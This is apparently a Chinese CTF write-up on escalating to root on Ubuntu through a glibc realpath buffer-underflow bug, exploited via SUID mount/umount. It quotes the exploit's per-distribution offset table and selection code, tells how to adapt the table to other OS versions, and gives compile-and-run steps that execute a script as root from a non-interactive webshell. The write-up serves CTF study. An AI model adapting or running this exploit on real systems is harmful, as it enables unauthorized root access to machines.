最近打比赛遇上的提权漏洞,环境为ubuntu 17.10 (Artful Aardvark)
,
另外也需要在无交互式的webshell中提权(不通外网)。
漏洞细节: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
这个洞主要是出在getcwd
函数上,在路径判断出现一些问题,作者最后使用具有SUID的mount
、unmount
的程序进行提权操作,所以这个主要对libc方面有一些要求.
可以看到exp里面,硬编码了一些数据在里面,如果系统符合才会进行执行,这就导致有些系统是不会成功的:
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c
static char* osSpecificExploitDataList[]={
// Debian Stretch
"\"9 (stretch)\"",
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
"from_archive",
// Delta for Debian Stretch "2.24-11+deb9u1"
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
// Ubuntu Xenial libc=2.23-0ubuntu9
"\"16.04.3 LTS (Xenial Xerus)\"",
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
"_nl_load_locale_from_archive",
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
"\"18.3 (Sylvia)\"",
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
"_nl_load_locale_from_archive",
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
NULL
};
osReleaseExploitData=osSpecificExploitDataList;
if(osRelease) {
// If an OS was detected, try to find it in list. Otherwise use
// default.
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
osReleaseExploitData=osSpecificExploitDataList+tPos;
break;
}
}
}
可以获取VERSION,然后将上处修改一下。
赛后使用阿里云的ubuntu 16.04.3做复现,可以提权成功。
至于无交互的地方,修改此处即可
gcc -o exp love1.c -std=c99
./exp
这个将会以root权限执行/bin/bash /tmp/aaaaa.sh